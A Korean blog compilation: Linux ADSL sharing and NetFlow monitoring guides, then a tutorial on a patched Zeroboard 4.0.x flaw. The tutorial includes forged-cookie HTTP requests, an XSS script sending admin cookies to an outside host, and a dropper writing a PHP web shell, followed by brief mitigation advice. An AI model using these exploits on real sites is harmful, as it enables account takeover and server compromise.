 블로그 > 지독한 잠수 증후군들.. http://blog.naver.com/kazamia/40000362694 | |||
리눅스에서 한개의 전용선으로 인터넷 연결 공유 하기 IP 공유는 ADSL 한 개의 회선을 가지고 여러대의 컴퓨터가 통신을 사용하는 것이며 아직 한국통신에서는 불법이라고하고 있지만 정보통신부에도 공식적으로 IP공유를 허가 하는 것으로 방향을 잡았으며 곧 이 약관이 개정이 될 것으로 예상된다.
ADSL연결된 컴퓨터(192.168.0.1 , 192.168.0.2 )
요즘은 ADSL 을 내장형을 많이 설치를 해주는 편인데 내장형은 리눅스 드라이버가 지원이 안 되 외장형만이 가능 하다. 리눅스 버젼은 지금 7.0 까지 버젼이 나와 있는데 버젼 6.2 에서 ADSL에 접속 할 려면 커널 컴파일 을 해야 하는데 복잡하기 때문에 리눅스 버젼 7.0 을 기준으로 설치 하겠다. 필요장비 및 소프트워어 랜카드 2장(리얼텍 8029 , 3com) (와우 리눅스는 http://www.wowlinux.com )에서 다운로드 할 수 있다. 리눅스 설치 설치 유형 lowres (x윈도우 해상도 1024* 768 ) 지원이 안될 시 설치 모드) text (x윈도우가 지원이 안될 시 설치 모드) linux rescue ( 리눅스 복구용 모드) linux dd (리눅스용 드라이버디스켓이 있을시 ) 리눅스 시디로 부팅을 하면 5개의 설치 유형을 선택하라고 한다.
: expert Do you have a drive distte ? NO 선택 what language ? korea 선택 keybiard = us 선택 Installation Method ? CD-ROM 선택 Device scsi (여기서 2개의 랜카드를 인식을 해야 한다. 랜카드 인식 순서는 3com 랜카드 Network -- > 3com 3c590/3c595 vortex 리얼텍( RTL8029) Network --> ne 1000,2000
====================================== 기타 리눅스 설치는 리눅스 관련 책을 참고하시
아래 ADSL 설정은 정낙수님의 글입니다. 1. 클라이언트로 이용시 (랜카드가 하나이고, 직접 연결하여 사용할 경우) 기타 팁으로 리눅스 부팅시 adsl 에 자동으로 접속하고 한다면 chkconfig 명령어를 이용하면 된다.
| |||
'분류 전체보기'에 해당되는 글 150건
- 2006.08.10 리눅스에서의 인터넷 공유
- 2006.08.10 NetFlow 데이터 분석 관련 프로그램 설치 및 활용
- 2006.08.10 쿠키해킹 개념잡기
- 2006.08.10 [네트워크]IP Spoofing
- 2006.08.10 [네트워크 기초 강좌 22] VPN 기술의 이해
- 2006.08.10 [FAQ] QoS에서의 대역폭 할당 1
- 2006.08.10 무선 QoS 강좌 | HCCA 프로토콜과 MAC 선택 기능
- 2006.08.10 [자이온의 실전! QoS 강좌 6] 링크를 효율적으로 사용하기 위한 QoS 기법
- 2006.08.10 [자이온의 실전! QoS 강좌 5] QoS에서의 혼잡 회피 적용과 이해
- 2006.08.10 [자이온의 실전! QoS 강좌 4] 큐잉 매커니즘의 이해와 활용
| 블로그 > ddolteng's....... | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
NetFlow 데이터 분석 관련 프로그램 설치 및 활용 (RRDTool, flow-tools, FlowScan, and CUFlow) 1. NetFlow 데이터란? Source IP와 destination IP사이에 발생하는 일련의 패킷들을 NetFlow라고 정의할 수 있는데, 여기에는 NetFlow버전에 따라 다양한 정보를 포함하고 있다. 기본적으로 source IP, destination IP, application port 번호, IP Protocol Type, Service Type, AS번호 등이다. 이런 정보를 이용해 현재 발생하고 있는 이벤트에 대한 추적이 가능하다. 참조: http://www.cisco.com/warp/public/cc/pd/iosw/ioft/neflct/tech/napps_wp.htm 기존의 MRTG가 실제 트래픽 사용률에 대한 정보를 보여 주었다면, NetFlow 데이터는 위에서 언급한 정보들을 가지고 있으므로 과다한 트래픽을 발생시키는 IP나, 바이러스에 감염된 PC, 그리고 현재 우리 네트웍에서 어떤 유형의 트래픽이 많은 지를 분석할 수 있다. 따라서 MRTG와 FlowScan을 병행하면 굳이 고가의 NMS 프로그램을 구입하지 않더라도 수준급의 보안 시스템을 구축했다고 볼 수 있지 않을까? * 실제예 : 바이러스에 감염된 전용선 가입자의 MRTG 그래프 및 FlowScan 검색
☞ 이제부터 NetFlow 데이터를 분석하는 프로그램들을 설치해보자. 2. 프로그램 설치 1) 내가 설치한 시스템 사양 [H/W] 모델명 : 인텔 ISP2150 (인텔 조립서버라고 많이 부름) CPU : PIII 800MHz *2 (듀얼CPU) Memory : 1024Gbytes DISK : 9Gbytes*1, 72Gbytes*1 (모두 SCSI방식, 72G에 NetFlow데이터 쌓임) [S/W] OS : Redhat Linux 7.2 설치패키지 : Linux설치 시 대부분의 패키지 설치(게임 관련 패키지 제외) 2) 프로그램 설치순서 및 역할
3) 설치 ① Apache는 Linux 설치 시 패키지로 설치하거나 최신버전을 다운받아 설치하면 된다. ② Perl5역시 Apache와 동일한 방법으로 설치하면 된다.
☞ 자, 이제 NetFlow데이터를 수집하고 가공하기 위해 필요한 프로그램 설치는 끝났다. 그럼 실제 라우터나 스위치에서 NetFlow 데이터를 FlowScan서버로 보내는 방법과 이를 서버에서 처리하기 위한 사전 환경설정에 대해서 알아보자. 3. NetFlow 데이터 보내기 1) 시스코 라우터 설정 (여기서는 시스코7513 라우터에서 설정) #Global-mode ip flow-export version 5 peer-as ip flow-export destination x.x.x.x y (x.x.x.x –collector’s ip주소 / y -port번호, 보통 FlowScan프로그램은 2055/UDP를 사용한다.) #Interface-mode ip route-cache flow 2) 확인 (아래 flows 개수가 증가하는 지 확인) 7513#sh ip flow export Flow export is enabled Exporting flows to x.x.x.x (y) Exporting using source IP address x.x.x.x Version 5 flow records, peer-as 439795660 flows exported in 16392366 udp datagrams 0 flows failed due to lack of export packet 4. FlowScan서버 환경구성 1) flow-tools ① flow파일 및 RRD파일이 저장될 디렉토리 생성 #mkdir –p /var/netflow/ #mkdir –p /var/netflow/ft #mkdir –p /var/netflow/rrds #mkdir –p /var/netflow/scoreboard ② /usr/local/netflow/bin 밑에 export라는 파일을 만들고 소유권한을 ‘chmod a+x export’로 준다. #cd /usr/local/netflow/bin #touch export #chmod a+w export ③ export 파일을 아래와 같이 편집한다.
④ tcpdump로 flow 데이터가 들어오는지 확인 #tcpdump –n udp port 2055 ð 라우터로부터 NetFlow데이터를 정상적으로 받는지 확인. 만일 스크롤되는 데이터가 없다면 라우터의 NetFlow 설정부터 확인 ⑤ NetFlow 캡쳐하기 #/usr/local/netflow/bin/flow-capture -w /var/netflow/ft 0/0/2055 -S5 -V5 -E1G -n 287 -N 0 -R /usr/local/netflow/bin/export * flow-capture프로그램 옵션 설명
2) flowscan ① /var/netflow/bin/flowscan.cf 파일 수정 #ReportClasses 부분 -> 어떤 보고서 형식을 사용할 지 ReportClasses CUFlow #FlowFileGlob 부분 -> 가공된 NetFlow파일 형식을 지정하는 부분. 예로들면, ‘flows.20031214_17:50:00’과 같은 형식 FlowFileGlob flows.*:*[0-9] ② CampusIO.cf와 같은 나머지 FlowScan 파일은 수정할 필요없음. 3) CUFlow ① /var/netflow/bin/CUFlow.cf 파일 수정 # Subnet 부분 : 내부에서 사용하는 IP블록, CIDR형식. 여러 줄 가능 Subnet 210.100.64.0/19 Subnet 211.12.160.0/20 # Network 부분 : 네트웍 그룹으로써 이 그룹에 대한 트래픽을 모니터링하고 싶은 경우. “Network x.x.x.x/y lable” 형식 Network 210.100.66.0/24,211.12.162.0/24 data_center # OutputDir 부분 : RRD 파일이 저장되는 장소 OutputDir /var/netflow/rrds # Scoreboard/AggregateScore 부분 : 트래픽을 많이 발생시키는 순위에 대한 html파일이 저장되는 부분. Apache에서 이 파일을 링크하도록 구성하면 웹에서 확인 가능 Scoreboard 25 /var/netflow/scoreboard /var/netflow/scoreboard/toptalkers.html AggregateScore 25 /var/netflow/rrds/agg.dat /var/netflow/scoreboard/overall.html # Router 부분 : flow를 발생시키는 라우터 리스트 Router 210.100.64.1 GSR Router 211.12.160.1 7513 ☞ 이제 모든 준비가 끝났으므로 FlowScan을 실행시켜 NetFlow데이터가 제대로 쌓이는 지 확인해 보자. 5. FlowScan 실행 1) 스크립트 작성 #touch /var/netflow/bin/fs.sh; #chmod 755 /var/netflow/bin/fs.sh #vi /var/netflow/bin/fs.sh
2) flowscan 실행하기 #/var/netflow/bin/fs.sh start #tail –f /var/log/flowscan (아래와 같이 보이면 성공) sleep 30... 3) flowdumper ① 용도 : FlowScan에 의해 가공된 파일은 RRD형식이므로 cat같은 명령으로는 읽을 수 없다. Flowdumper는 RRD파일을 텍스트로 변형시켜 보여줌으로 grep과 같은 명령어와 혼합하면 원하는 데이터를 얻을 수 있다.② 사용예#flowdumper –s flows.20031214_20:45:00 | grep 211.238.196.17 4) CUGrapher.pl ① 용도 : RRD파일을 가공해서 그래프로 보여주는 perl프로그램② CUFlow-1.4 디렉토리에서 아파치의 cgi-bin디렉토리로 복사③ http://yourserver/cgi-bin/CUGrapher.pl 로 접속④ 참고사이트o http://wwwstats.net.wisc.eduo http://flows.ikano.com6. 기타 관련 사이트 ① http://www.cisco.com/go/fn - This is the Cisco Feature Navigator ② http://httpd.apache.org/ - This is the home page for Apache. This is the web server that I recommend. ③ http://www.rrdtool.org/ - This is the RRDTool home page. ④ http://www.splintered.net/sw/flow-tools/ - This is the flow-tools home page. ⑤ http://net.doit.wisc.edu/~plonka/FlowScan/ - This is the FlowScan home page. ⑥ http://www.columbia.edu/acis/networks/advanced/CUFlow/ - This is the CUFlow home page. ⑦ http://net.doit.wisc.edu/~plonka/list/flowscan/ - This is the FlowScan mailing list home page. ⑧ http://wwwstats.net.wisc.edu - Examples of FlowScan and CUFlow. ⑨ http://flows.ikano.com - Another example web site.⑩ https://www1.columbia.edu/sec/bboard/mj/cuflow-users/ - CUFlow mailing list archive. The mailing list is cuflow-users@columbia.edu. | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| 블로그 > xitem님의 블로그 http://blog.naver.com/xitem/140012193274 | ||
| 쿠키해킹 개념잡기 Cookie 란 무엇인가? Web Language 에서 Cookie 는 여러가지에 유용하게 쓰인다. Cookie 는 Client Computer 에 저장되는 것인데, CGI Program 에서는 이 Cookie 를 이용하여 좀 더 편리하고 간편한 CGI 를 짤 수도 있다. 예를 들어 Web Board 에서 각 Page 마다 인증이 필요한 경우도 있다. 뭐 admin 만 Access 할 수 있다던지 하는 Page 일 경우에 말이다. 이럴 경우 매 Page 의 Head 부분에 Client Computer 에서 Cookie 를 받아와 Access 하려는 사용자가 권한이 되는지 안되는지 알 수 있게끔 Cookie 가 사용될 수도 있다. 여기에서는 한때 Issue 가 됐던 Cookie Sniffing 과 더불어 Cookie Spoofing, Cookie 사용시 잘못된 알고리즘 등을 알아볼 것이다. 실제로 존재하는 CGI Program 인 Zeroboard 4.0.x 버전을 이용하겠다. 이 버그는 필자가 발견한 버그로, 요즘의 버전에는 Patch 가 되었다. zeroboard 는 PHP 로 만들어져 있으며 DATABASE 는 MySQL 을 사용하고 있다. 문제가 되는 부분은 zeroboard 에서 cookie 인증을 할때 잘못된 알고리즘을 사용 하기 때문이다. 문제가 되는 주요 소스는 zeroboard 에서 lib.php 이다. 1 function member_info() 2 { 3 global $HTTP_COOKIE_VARS, $member_table, $now_table; 4 $cookie_userid=$HTTP_COOKIE_VARS[zetyxboard_userid]; 5 $cookie_password=$HTTP_COOKIE_VARS[zetyxboard_password]; 6 7 // 우선 쿠키가 존재할때;; 8 if($cookie_userid&&$cookie_password) 9 { 10 // 접속 테이블에도 있는지를 검사;; 11 $check=mysql_fetch_array(mysql_query("select count(*) from $now_table where 12 user_id='$cookie_userid'")); 13 // 접속테이블에도있으면 값을 갖고 옴;; 14 if($check[0]) 15 { 16 //다시 쿠키를 구움;; 17 setcookie("zetyxboard_userid",$cookie_userid,0,"/"); 18 setcookie("zetyxboard_password",$cookie_password,0,"/"); 19 mysql_query("update $now_table set logtime='".time()."' where 20 user_id='$cookie_userid'"); 21 $member=mysql_fetch_array(mysql_query("select * from $member_table where 22 user_id='$cookie_userid' and password='$cookie_password'")); 23 } 24 else 25 { 26 setcookie("zetyxboard_userid","",0,"/"); 27 setcookie("zetyxboard_password","",0,"/"); 28 $member[level]=10; 29 } 30 } 31 else $member[level]=10; 32 return $member; 33 } 이 함수는 zeroboard lib.php 의 원본 소스중 이다. zeroboard 는 게시판에 가입한 멤버를 LEVEL 별로 설정할수 있는 등 커뮤니티 기능도 있다. 회원이 게시판을 이용할때 멤버에 대한 데이터를 가져오는 함수가 바로 이 member_info 함수이다. 첫번째 라인은 member_info 의 함수 정의이다. 3 번째 라인은 HTTP_COOKIE_VARS, member_table, now_table 을 전역 변수로 설정해놓았고 4 번째 라인에서 cookie_userid 를 HTTP_COOKIE_VARS 의 zetyxboard_userid 로 설정하였다. 마찬가지로 5 번째 라인에서는 cookie_password 를 HTTP_COOKIE_VARS 의 zetyxboard_password 로 설정하였다. HTTP_COOKIE_VARS 는 client (즉 사용자) 에서 전달해주는 cookie 값을 담아놓는 변수이다. zetyxboard_userid 나 zetyxboard_password 같은 cookie 설정은 사용자가 login 페이지를 통해서 login 을 할때 설정이 된다. cookie 설정 역시 lib.php 파일에서 check_login 함수에서 이루어진다. 1 ///////////////////////////////////////////////////////////////////////// 2 // 로그인 시키는 부분 3 ///////////////////////////////////////////////////////////////////////// 4 function check_login($user_id,$password) 5 { 6 global $connect, $member_table, $now_table, $id; 7 $check=mysql_fetch_array(mysql_query("select * from $member_table where 8 user_id='$user_id' and password=password('$password')")); 9 if($check[no]) 10 { 11 $password=mysql_fetch_array(mysql_query("select password('$password')")); 12 setcookie("zetyxboard_userid",$user_id,0,"/"); 13 setcookie("zetyxboard_password",$password[0],0,"/"); 14 15 $temp=mysql_fetch_array(mysql_query("select count(*) from $now_table 16 where user_id='$user_id'")); 17 if($temp[0]) mysql_query("update $now_table set logtime='".time()."' 18 where user_id='$user_id'"); 19 else mysql_query("insert into $now_table (user_id,group_no,logtime) 20 values ('$user_id','$check[group_no]','".time()."')"); 21 22 return 1; 23 } 24 else Error("로그인을 실패하였습니다."); 25 } 7 번째 라인은 사용자가 전달한 id 와, password 값으로 member_table 에 실제로 존재하는 사용자인지 확인한다. 만약 올바른 사용자라면 check_login 함수는 client 에게 (보통 웹브라우저를 말합니다.) setcookie 함수를 이용하여 cookie를 설정하여 준다. zetyxboard_userid 와 zetyxboard_password 가 cookie 이다. 그리고 15 번째 줄부터 게시판에 현재 접속된 사용자의 ID 를 담아놓는 now_table 에 ID 를 update 를 하거나 추가를 한다. (만약 사용자가 정해진 시간동안 아무 런 페이지도 읽지 않거나, logout 을 하면 now_table 에서 사용자의 ID 가 삭제 됩니다. 그렇게 되면 login 이 안된 상태가 된다.) 다시 취약점의 근원이 되는 member_info 함수로 돌아가보자. member_info 함수는 이 사용자가 정당한 사용자인지 검사를 하는 기능도 있다. 첫번째로 사용자가 zetyxboard_userid 와 zetyxboard_password 쿠키가 있는지 확인한다. 이 확인은 8 번째 줄에서 한다. 그리고 또 한번의 확인으로 zeroboard 에서 사용하는 now_ table 에도 zetyxboard_userid 값이 담겨있는지 확인한다. 만약에 접속테이블에 도 사용자의 ID 가 있다면 이 사용자는 올바른 사용자이다. 하지만 여기에서 문제가 발생한다. 첫번째 확인에서 zetyxboard_userid 와 zetyx board_password 쿠키는 사용자가 임의로 만들어서 보낼 수 있고, 두번째는 접속 테 이블에도 있는지 검사를 할때 zetyxboard_userid 만 갖고 체크를 하기 때문에 zetyxboard_password 가 정확하지 않더라도 상관이 없다. 그래서 해커가 zetyxboard_userid 와 zetyxboard_password 쿠키를 임의로 만들고, 현재 접속이 되어 있는 사용자의 ID 로 zetyxboard_userid 를 설정한다면 member_info 함수에서 해커는 올바른 사용자가 될 수 있다. 여기까지의 방법으로 우리는 접근할 수 없는 게시판과, 게시물을 읽을수가 있다. (접근할 수 없는 경우는 사용자의 레벨과 접근하려는 게시판의 허용 레벨이 안 맞기 때문이다.) 왜냐하면 member_info 함수에서 21~22 번 줄을 보자. member_table 에서 zetyxboard_userid 와 zetyxboard_password 가 담긴 데이터를 찾고 그 결과를 member 변수에 담는다. 만약 올바른 사용자라면 member 변수에는 사용자의 LEVEL 이나 이름, ID, PASSWORD 가 담길것이다. 하지만 해커에게는 LEVEL, ID, 이름, PASSWORD 같은 것이 아닌 빈 값이 담기게 된다. 이유는 member _table 에는 zetyxboard_userid 와 같은 데이터는 있어도 zetyxboard_password 도 같은 데이터는 없기 때문이다. member 에 빈값이 담기기 때문에 해커는 PHP 에서 해당 LEVEL 이 되는지 안되는지 검사를 하는 부분을 통과할 수 있다. 그 부분을 살펴보도록 하자. 먼저 zboard.php 에서 특정 id 의 게시판에 접근할때 사용권한을 어떻게 체크 하는지 보면 zboard.php 1 if($setup[grant_list]<$member[level]&&!$is_admin) 2 Error("사용권한이 없습니다","login.php?id=$id&page=$page& 3 page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc& 4 keyword=$keyword&no=$no&file=zboard.php"); 이렇다. 조건식을 살펴보자. $setup[grant_list] 는 각 게시판에 설정 된 접근 허용 LEVEL 과 비슷한 것이다. 만약 $member[level] 이 $setup[grant_ list] 값보다 크다면 접근이 허용되지 않으므로 2~4 번째의 ERROR 메세지가 뜨게 된다. (zeroboard 에서는 LEVEL 이 낮을수록 실제로는 높은 걸로 인식한다. 두번째 조건식인 !$is_admin 는 만약 로그인한 사용자가 admin 이면 통과한다는 것을 의미한다.) 앞에서 말했듯이 해커는 member 에 빈값이 담기게 된다. 빈값은 0 과 같다. 그러면 조건식은 이렇게 될 것이다. if($setup[grant_list]<0&&!$is_admin) 어떤 레벨이라도 0 보다 낮을수는 없을 것이다. 이와 같은 방법으로 해커는 사용권한을 체크하는 PHP 알고리즘을 통과하고 허용하지 않는 게시물이나 게시판에 접근을 할 수 있게 된다. 만약에 secret 라는 id 의 게시판이 있다고 하고, 실제로 어떻게 사용권한 체크를 통과하고 게시판을 읽을 수 있는지 알아보자. 1 telnet targetip 80 2 get http://targetip/zboard/zboard.php?id=secret HTTP/1.0 3 Cookie: zetyxboard_userid=test; zetyxboard_password=임의의암호 결과 : secret 게시판 15 번 승진님 안녕하세요................ 방문객 2005/06/26 14 번 여기 좋군요.... 나그네 2004/06/26 13 번 여기 뭐 이래요?? 지나가는이 2003/06/26 12 번 저는 말이에요.. 해커지망생 2002/06/26 .......... .......... 1 번 라인은 targetip 의 웹서버인 80 번 포트로 접속을 하는 것이다. 2 번 라인 은 zboard.php 의 인수로 id=secret 를 주어서 secret 라는 게시판을 읽어들이겠다 고 알린것이고 3 번 라인은 Cookie 값을 첨부한 것이다. 여기서 zetyxboard_ password 는 아무 값이나 넣어줘도 된다. 이와 비슷한 방법으로 한 가지 더 경우를 보자. 게시물의 목록이 아닌 직접 게시물을 읽는 방법이다. view.php 에서의 사용 권한 체크 루틴을 보자. view.php 1 if($setup[grant_view]<$member[level]&&!$is_admin) 2 Error("사용권한이 없습니다","login.php?id=$id&page=$page& 3 page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc& 4 keyword=$keyword&no=$no&file=zboard.php"); view.php 의 인자로 id 와 no 가 들어가는데 id 는 해당 게시판의 id 를 뜻하고 no 는 해당 게시판의 글 번호를 뜻한다. 위에서도 역시 마찬가지로 member 는 빈값, 즉 0 이니 조건식을 이상 없이 통과할 수 있을 것다. 그럼 실제로 어떻게 사용권한 체크를 통과하고 게시물을 읽을 수 있는지 알아 보자. 여기서 id 는 secret 이고 글번호는 444 라고 하자. 1 telnet targetip 80 2 get http://targetip/zboard/view.php?id=secret&no=444 HTTP/1.0 3 Cookie: zetyxboard_userid=test; zetyxboard_password=임의의암호 결과 : 444 번 글 이름 : 이승진 제목 : 전 이승진이랑께롱~ 본문 : 케케케~.. 음.. 할말이 없군.. 2 번 라인은 view.php 스크립트에 secret 를 id 로 줬고 글 번호 444 를 요청하였 다. 그리고 3 번 라인에서 Cookie 값을 첨부하였다. 주의할 점은 zetyxboard_password 의 값은 임의로 넣어줘도 되지만 비어있어서는 안된다. 게시판을 읽거나 게시물을 읽는 방법 말고도 다른 여러 가지 방법이 있는데 여기서 한 가지 방법을 더 알아보겠다. trace.php 라는 스크립트는 파일명 그대로 서버에 설치된 zeroboard 와 관련된 것들을 추적해 주는 스크립트이다. 이 스크 립트 역시 사용 권한을 체크하여 admin 만이 사용할 수 있게 해놓았지만 member에 빈 값이 들어가는 것을 이용하여 통과할 수 있다. 가령 beist 라는 사람이 글 쓴 것들에 대해서 보고 싶다는 주어진 검색식으로 추적을 시작하면 beist 의 IP 와 어떤 게시판에다 글을 썼는지 그런 정보들이 나오게 된다. trace.php 에서는 어떤 식으로 사용 권한 체크를 하는지 알아보자. trace.php 소스 설명 공격 설명 1 $member=member_info(); 2 if($member[is_admin]>1||$member[level]>1) 3 Error("최고 관리자만이 사용할수 있습니다"); 1 번 라인에서는 member_info 를 불러오고 그 리턴값을 $member 에 저장한다. 2 번 라인의 조건식은 만약 admin 이 아니라면 3 번 라인에서 Error 를 출력하도록 한다. trace.php 의 실제 이용방법을 알아보자. 1 telnet targetip 80 2 get http://targetip/zboard/admin/trace.php?keykind[0]=name&keyword=이승진 HTTP/1.0 3 Cookie: zetyxboard_userid=test; zetyxboard_password=아무거나; 결과 : test1 게시판 [kekek] test (2001-12-05 21:40:04 / beist-ip) [kekek] tet (2001-12-05 21:42:25 / beist-ip) [kekek] asdf (2001-12-05 21:44:40 / beist-ip) [kekek] asdf (2001-12-05 21:46:23 / beist-ip) [kekek] vvvvv (2001-12-05 21:47:00 / beist-ip) 2 번라인에서는 keykind[0]=name 을 주어서 keyword 검색을 이름으로 하겠다고 전하고 이름에 이승진을 넣은 것이다. keykind 의 종류는 다음과 같다. keykind[0]=name keykind[1]=email keykind[2]=ip keykind[3]=subject keykind[4]=memo 위와 같은 keykind 로 검색할수 있고, keyword 에는 검색할 내용만 적으면 된다. 예를 들어 keykind[1]=email 로 지정해두었다면 keyword 에 beist@hanmail.net 이라고 적으면 된다. 하지만 이 방법으로는 게시판을 보거나 게시물을 추적할 수 있지만 명령어를 실행 하지는 못한다. 웹에서 해커의 궁극적인 목표는 명령어 실행이지 않은가? 이제부터 명령어 실행의 버그들에 대해서 알아보겠다. zeroboard 에서는 admin 메뉴에서 header 와 footer 에 (게시판의 머리말과 꼬리말 정도이다.) admin 이 원하는 특정 파일을 지정을 할 수가 있다. 보통은 인사말이나 특정 페이지를 같이 넣고 싶을때 header 와 footer 를 사용하지만 cracker 는 이 것을 이용하여서 명령어 실행을 할 수 있다. (header 와 footer 의 파일은 zboard.php 에서 include 합니다. 즉 zboard.php 파일이 웹에서 읽어질때 head 와 foot 에 include 한 파일을 뿌려주는 것이다.) 먼저 제로보드의 특정 자료실에 악의적인 파일을 하나 올린다. <? system("echo -n \" <? passthru(\$\" > imnotj.php"); system("echo -n \"cmd); ?>\" >> imnotj.php"); echo "<font size=5>keke"; ?> <? passthru($cmd); ?> 이 소스의 기능은 imnotj.php 라는 악의적인 스크립트를 하나 생성한다. imnotj. php 에 담기는 내용은 <? passthru($cmd); ?> 가 될 것이다. imnotj.php 의 기능은 서버에서 해커가 원하는 특정 명령어를 실행할 수 있게끔 된 소스이다. 자료를 올릴 때 제로보드의 필터링에 걸리면 안될것이다? 제로보드는 php, html, php3 같은 확장자의 파일을 못 올리게 필터링을 한다. 그래서 위의 코드가 담긴 확장자를 txt 로 저장하고 서버에 올리자. (txt 를 필터링하는 자료실은 아무데도 없을것이다) 굳이 txt 확장자가 아닌 zip 이나 jpg 같은 확장자도 상관은 없다. 만약 test.txt 라는 파일을 올렸다면 서버 상에서 /webdirectory/zboard/data/test. txt 라는 곳에 위치할 것이다. (webdirectory 는 가상으로 만들어 낸 것이며 실제 로는 /home/beist/public_html 정도가 나올 것이다.) 그리고 admin 메뉴에서 header (혹은 footer) 에 /webdirectory/zboard/data/test. txt 라고 지정을 하면 zboard.php 에서는 test.txt 를 include 할 것이다. 위와 같은 코드를 include 하였으니 웹에서 zboard.php 파일을 열때 imnotj.php 라는 파일이 생성될 것이다. 그렇다면 admin 메뉴에는 어떻게 들어갈 것인가? admin 메뉴는 말 그대로 admin 만 들어갈 수 있다. admin 암호가 없으면 못들어간다는 이야기이다. 그래서 우리는 admin 암호를 알아내야 한다. 쿠키 스니핑을 이용해야겠다. 하지만 zero board 에서는 password 를 암호화해서 저장하기 때문에 쿠키 스니핑으로 암호를 빼온다고 해도 login 페이지에서 암호를 입력할 수가 없다. (암호화된 문자열을 crack 하여서 원래의 암호 문자열을 얻을 수도 있겠지만 그 방법은 너무 오래걸리고 가능성도 희박한 방법이다. 암호가 쉽지 않은한) 그래서 우리는 쿠키스니핑으로 암호를 빼오고, login 페이지에 암호를 넣는 것이 아니라 실제 admin 페이지에 직접적으로 Cookie 값을 전달해야 한다. 어떤 식으로 admin 의 password 를 빼올 수 있는 지 살펴보자. 자바 스크립트를 써서 쿠키를 빼올 것이다. 자바 스크립트를 게시판이나 쪽지에 쓰면 되는데 여기에선 쪽지를 이용하는 방법을 사용하겠다. zeroboard 의 쪽지 기능을 이용하여 admin 에게 쪽지를 보낸다. html 사용에 check 를 하고.. javascript 로 쿠키를 빼오는 스크립트 ----------------------------------------------------------------------------- 1 <script language=javascript> 2 window.open("http://beist.org/test.php?cook="+document.cookie); 3 </script> 4 HELLO ADMIN! ----------------------------------------------------------------------------- 1 번째 라인은 javascript 를 사용할 것이라고 선언을 하는 것이고 2 번째 라인은 http://beist.org/test.php 의 스크립트를 웹브라우저의 document.cookie 를 인수로 여는 것이다. 보통 CGI 는 다음과 같은 방식으로 인수를 전달한다. sample CGI script echo.php <? echo "hello $insu"; ?> 위의 echo.php 는 $insu 라는 변수를 출력해주는 스크립트이다. 웹브라우저에서 http://beist.org/echo.php?insu=beist 이런 식으로 페이지를 요청하면 echo.php 에서는 hello beist 라는 문자열을 되돌려준다. 쿠키를 빼오는 스크립트인 test.php 의 인수의 이름으로 cook 을 주었고 그 값에는 현재 웹브라우저의 cookie 값이 담겨 있는 document.cookie 를 지정하여 주었다. zeroboard 에서 admin 에게 담기는 cookie 는 다음과 같은 값이다. zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm; (zetyxboard_password 의 값은 임의로 설정한 값이다.) 이제 test.php 에서는 넘어온 인수를 처리해야 한다. 예를 들어 넘어온 쿠키값을 서버에 저장하는 방법등을 사용해야 한다. test.php <? $fp=fopen("/tmp/zerohack", "a++"); fputs(" 제로보드 쿠키값 $cook\n"); ?> 간단한 스크립트이다. test.php 는 /tmp/zerohack.txt 을 열어서 넘어온 인수값인 $cook 을 집어넣는다. 넘어온 쿠키값이 만약 zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm; 라고 하면 /tmp/zerohack.txt 에는 제로보드 쿠키값 zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm; 이 담기게 될것이다. 이제 넘어온 쿠키값을 이용하여 admin 페이지에 직접 Cookie 를 보내 접속을 하는 방법을 알아보자. 여기서는 telnet 을 이용하겠다. telnet 으로 상대방의 웹서버에 접속을 한다. (보통 웹서버는 80 번 포트를 쓴다.) 1 telnet targetip 80 2 Trying targetip ... 3 Connected to targetip. 4 get http://targetip/zboard/admin_setup.php HTTP/1.0 5 Cookie: zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm; 어쩌고.. 저쩌고.. ................. ................. (위에서 1, 4, 5 번 라인은 직접 입력해야 하는 부분이다.) 설명을 하자면 1 번 라인은 targetip 의 80 번 포트로 연결을 시도하겠다는 의미이고 4 번 라인은 target 의 /zboard/admin_setup.php 라는 파일을 열겠다는 의미다. 그리고 5 번 라인은 zetyxboard_userid 와 zetyxboard_password 를 쿠키로 보내겠다는 의미다. 그러면 admin_setup.php 에서는 admin 인증을 할 것이다. 만약 password 가 맞다면 해커는 무사히 통과를 하고 admin_setup.php 를 볼 수 있을 것이다. 위에서 설명한 header 나 footer 에 test.txt 라는 파일을 지정하려면 어떻게 해야하는지 알아보자. 1 telnet targetip 80 2 Trying targetip ... 3 Connected to targetip. 4 get http://targetip/zboard/admin_setup.php?no=3&exec=view_board& exec2=modify_ok&page=1&group_no=1&name=haha&skinname=zero_cyan& only_board=1&header_url=/var/www/html/zboard/data/test.txt&use_html=1& memo_num=20&cut_length=0&bg_color=white&table_width=95&page_num=10& header=<div%20align=center>&footer=</div> HTTP/1.0 5 Cookie: zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm; 4 번 라인만 설명하겠다. admin_setup.php 의 인수로 여러개가 들어갔다. 주요 인수를 말하자면 exec2 와 no, 그리고 header_url 이다. no 는 게시판의 번호를 뜻한다. (게시판이 여러개 있을때 각각의 고유번호가 있다.) exec2 는 admin_setup.php 페이지를 어떤 mode 로 열 것인지 선택하는 것이다. 여기서는 modify_ok mode 로 열었다. 가장 중요한 header_url 은 header file 로 어떤 것을 지정할 것인지 선택하는 부분이다. 여기서 지정한 header file 은 /var/www/html/zboard/data/test.txt 이다. 이제 include 하였으니 zboard.php 를 열때 test.txt 스크립트가 작동이 되면서 imnotj.php 라는 파일이 생성이 될 것이다. 이제 해커는 imnotj.php 파일을 통해서 서버에 특정 명령을 실행시킬 수 있다. ex) http://targetip/zboard/data/imnotj.php?cmd=whoami 결과 = nobody 이상이 zeroboard 에서 쿠키 스니핑, 쿠키 스푸핑, 잘못된 알고리즘을 이용한 공격 방법이다. 해결책을 알아보자. 쿠키 스니핑 먼저 Cookie Sniffing 에 대한 대책을 알아보자. Cookie Sniffing 은 Cracker 가 TAG 를 쓸수 있는 환경하에서 이루어진다. Cookie 는 Web Browser 에 담기게 되는데 Cookie 를 감출 수도 없는 노릇이고 Cookie 사용을 불가피하게 해야하는 경우의 대처법은 사용자가 TAG를 쓸 수 없도록 해야한다. 거의 모든 TAG 의 시작은 < 로부터 시작한다. 그래서 <를 없애거나 < 문자로 치환시키는 방법이 좋다. 